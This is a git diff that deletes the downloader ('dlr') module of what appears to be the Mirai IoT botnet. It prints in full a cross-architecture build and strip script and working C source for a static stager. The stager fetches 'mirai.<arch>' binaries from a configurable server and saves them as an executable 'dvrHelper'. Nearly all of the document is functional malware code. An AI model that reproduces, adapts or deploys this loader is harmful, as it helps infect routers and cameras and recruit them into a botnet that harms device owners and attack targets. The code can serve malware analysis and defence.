diff --git a/dlr/build.sh b/dlr/build.sh deleted file mode 100644 index 9227844..0000000 --- a/dlr/build.sh +++ /dev/null @@ -1,22 +0,0 @@ -armv4l-gcc -Os -D BOT_ARCH=\"arm\" -D ARM -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.arm -armv6l-gcc -Os -D BOT_ARCH=\"arm7\" -D ARM -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.arm7 -i686-gcc -Os -D BOT_ARCH=\"x86\" -D X32 -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.x86 -m68k-gcc -Os -D BOT_ARCH=\"m68k\" -D M68K -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.m68k -mips-gcc -Os -D BOT_ARCH=\"mips\" -D MIPS -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.mips -#mips64-gcc -Os -D BOT_ARCH=\"mps64\" -D MIPS -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.mps64 -mipsel-gcc -Os -D BOT_ARCH=\"mpsl\" -D MIPSEL -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.mpsl -powerpc-gcc -Os -D BOT_ARCH=\"ppc\" -D PPC -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.ppc -sh4-gcc -Os -D BOT_ARCH=\"sh4\" -D SH4 -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.sh4 -#sh2elf-gcc -Os -D BOT_ARCH=\"sh2el\" -D SH2EL -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.sh2el -#sh2eb-gcc -Os -D BOT_ARCH=\"sh2eb\" -D SH2EB -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.sh2eb -sparc-gcc -Os -D BOT_ARCH=\"spc\" -D SPARC -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.spc - -armv4l-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.arm -armv6l-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.arm7 -i686-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.x86 -m68k-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.m68k -mips-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.mips -mipsel-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.mpsl -powerpc-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.ppc -sh4-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.sh4 -sparc-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.spc \ No newline at end of file diff --git a/dlr/main.c b/dlr/main.c deleted file mode 100644 index 569d837..0000000 --- a/dlr/main.c +++ /dev/null @@ -1,274 +0,0 @@ -#include -//#include -#include -#include -#include -#include - -#define HTTP_SERVER utils_inet_addr(127,0,0,1) // CHANGE TO YOUR HTTP SERVER IP - -#define EXEC_MSG "MIRAI\n" -#define EXEC_MSG_LEN 6 - -#define DOWNLOAD_MSG "FIN\n" -#define DOWNLOAD_MSG_LEN 4 - -#define STDIN 0 -#define STDOUT 1 -#define STDERR 2 - -#if BYTE_ORDER == BIG_ENDIAN -#define HTONS(n) (n) -#define HTONL(n) (n) -#elif BYTE_ORDER == LITTLE_ENDIAN -#define HTONS(n) (((((unsigned short)(n) & 0xff)) << 8) | (((unsigned short)(n) & 0xff00) >> 8)) -#define HTONL(n) (((((unsigned long)(n) & 0xff)) << 24) | \ - ((((unsigned long)(n) & 0xff00)) << 8) | \ - ((((unsigned long)(n) & 0xff0000)) >> 8) | \ - ((((unsigned long)(n) & 0xff000000)) >> 24)) -#else -#error "Fix byteorder" -#endif - -#ifdef __ARM_EABI__ -#define SCN(n) ((n) & 0xfffff) -#else -#define SCN(n) (n) -#endif - -inline void run(void); -int sstrlen(char *); -unsigned int utils_inet_addr(unsigned char, unsigned char, unsigned char, unsigned char); - -/* stdlib calls */ -int xsocket(int, int, int); -int xwrite(int, void *, int); -int xread(int, void *, int); -int xconnect(int, struct sockaddr_in *, int); -int xopen(char *, int, int); -int xclose(int); -void x__exit(int); - -#define socket xsocket -#define write xwrite -#define read xread -#define connect xconnect -#define open xopen -#define close xclose -#define __exit x__exit - -#ifdef DEBUG -/* -void xprintf(char *str) -{ - write(1, str, sstrlen(str)); -} -#define printf xprintf -*/ -#endif - -void __start(void) -{ -#if defined(MIPS) || defined(MIPSEL) - __asm( - ".set noreorder\n" - "move $0, $31\n" - "bal 10f\n" - "nop\n" - "10:\n.cpload $31\n" - "move $31, $0\n" - ".set reorder\n" - ); -#endif - run(); -} - -inline void run(void) -{ - char recvbuf[128]; - struct sockaddr_in addr; - int sfd, ffd, ret; - unsigned int header_parser = 0; - int arch_strlen = sstrlen(BOT_ARCH); - - write(STDOUT, EXEC_MSG, EXEC_MSG_LEN); - - addr.sin_family = AF_INET; - addr.sin_port = HTONS(80); - addr.sin_addr.s_addr = HTTP_SERVER; - - ffd = open("dvrHelper", O_WRONLY | O_CREAT | O_TRUNC, 0777); - - sfd = socket(AF_INET, SOCK_STREAM, 0); - -#ifdef DEBUG - if (ffd == -1) - printf("Failed to open file!\n"); - if (sfd == -1) - printf("Failed to call socket()\n"); -#endif - - if (sfd == -1 || ffd == -1) - __exit(1); - -#ifdef DEBUG - printf("Connecting to host...\n"); -#endif - - if ((ret = connect(sfd, &addr, sizeof (struct sockaddr_in))) < 0) - { -#ifdef DEBUG - printf("Failed to connect to host.\n"); -#endif - write(STDOUT, "NIF\n", 4); - __exit(-ret); - } - -#ifdef DEBUG - printf("Connected to host\n"); -#endif - - if (write(sfd, "GET /bins/mirai." BOT_ARCH " HTTP/1.0\r\n\r\n", 16 + arch_strlen + 13) != (16 + arch_strlen + 13)) - { -#ifdef DEBUG - printf("Failed to send get request.\n"); -#endif - - __exit(3); - } - -#ifdef DEBUG - printf("Started header parse...\n"); -#endif - - while (header_parser != 0x0d0a0d0a) - { - char ch; - int ret = read(sfd, &ch, 1); - - if (ret != 1) - __exit(4); - header_parser = (header_parser << 8) | ch; - } - -#ifdef DEBUG - printf("Finished receiving HTTP header\n"); -#endif - - while (1) - { - int ret = read(sfd, recvbuf, sizeof (recvbuf)); - - if (ret <= 0) - break; - write(ffd, recvbuf, ret); - } - - close(sfd); - close(ffd); - write(STDOUT, DOWNLOAD_MSG, DOWNLOAD_MSG_LEN); - __exit(5); -} - -int sstrlen(char *str) -{ - int c = 0; - - while (*str++ != 0) - c++; - return c; -} - -unsigned int utils_inet_addr(unsigned char one, unsigned char two, unsigned char three, unsigned char four) -{ - unsigned long ip = 0; - - ip |= (one << 24); - ip |= (two << 16); - ip |= (three << 8); - ip |= (four << 0); - return HTONL(ip); -} - -int xsocket(int domain, int type, int protocol) -{ -#if defined(__NR_socketcall) -#ifdef DEBUG - printf("socket using socketcall\n"); -#endif - struct { - int domain, type, protocol; - } socketcall; - socketcall.domain = domain; - socketcall.type = type; - socketcall.protocol = protocol; - - // 1 == SYS_SOCKET - int ret = syscall(SCN(SYS_socketcall), 1, &socketcall); - -#ifdef DEBUG - printf("socket got ret: %d\n", ret); -#endif - return ret; -#else -#ifdef DEBUG - printf("socket using socket\n"); -#endif - return syscall(SCN(SYS_socket), domain, type, protocol); -#endif -} - -int xread(int fd, void *buf, int len) -{ - return syscall(SCN(SYS_read), fd, buf, len); -} - -int xwrite(int fd, void *buf, int len) -{ - return syscall(SCN(SYS_write), fd, buf, len); -} - -int xconnect(int fd, struct sockaddr_in *addr, int len) -{ -#if defined(__NR_socketcall) -#ifdef DEBUG - printf("connect using socketcall\n"); -#endif - struct { - int fd; - struct sockaddr_in *addr; - int len; - } socketcall; - socketcall.fd = fd; - socketcall.addr = addr; - socketcall.len = len; - // 3 == SYS_CONNECT - int ret = syscall(SCN(SYS_socketcall), 3, &socketcall); - -#ifdef DEBUG - printf("connect got ret: %d\n", ret); -#endif - - return ret; -#else -#ifdef DEBUG - printf("connect using connect\n"); -#endif - return syscall(SCN(SYS_connect), fd, addr, len); -#endif -} - -int xopen(char *path, int flags, int other) -{ - return syscall(SCN(SYS_open), path, flags, other); -} - -int xclose(int fd) -{ - return syscall(SCN(SYS_close), fd); -} - -void x__exit(int code) -{ - syscall(SCN(SYS_exit), code); -} diff --git a/dlr/release/dlr.arm b/dlr/release/dlr.arm deleted file mode 100644 index 782bf1d..0000000 Binary files a/dlr/release/dlr.arm and /dev/null differ diff --git a/dlr/release/dlr.arm7 b/dlr/release/dlr.arm7 deleted file mode 100644 index 493904b..0000000 Binary files a/dlr/release/dlr.arm7 and /dev/null differ diff --git a/dlr/release/dlr.m68k b/dlr/release/dlr.m68k deleted file mode 100644 index 2c9dd71..0000000 Binary files a/dlr/release/dlr.m68k and /dev/null differ diff --git a/dlr/release/dlr.mips b/dlr/release/dlr.mips deleted file mode 100644 index 3dbcf41..0000000 Binary files a/dlr/release/dlr.mips and /dev/null differ diff --git a/dlr/release/dlr.mpsl b/dlr/release/dlr.mpsl deleted file mode 100644 index 7603617..0000000 Binary files a/dlr/release/dlr.mpsl and /dev/null differ diff --git a/dlr/release/dlr.ppc b/dlr/release/dlr.ppc deleted file mode 100644 index 37cef13..0000000 Binary files a/dlr/release/dlr.ppc and /dev/null differ diff --git a/dlr/release/dlr.sh4 b/dlr/release/dlr.sh4 deleted file mode 100644 index 684587d..0000000 Binary files a/dlr/release/dlr.sh4 and /dev/null differ diff --git a/dlr/release/dlr.spc b/dlr/release/dlr.spc deleted file mode 100644 index b6d804c..0000000 Binary files a/dlr/release/dlr.spc and /dev/null differ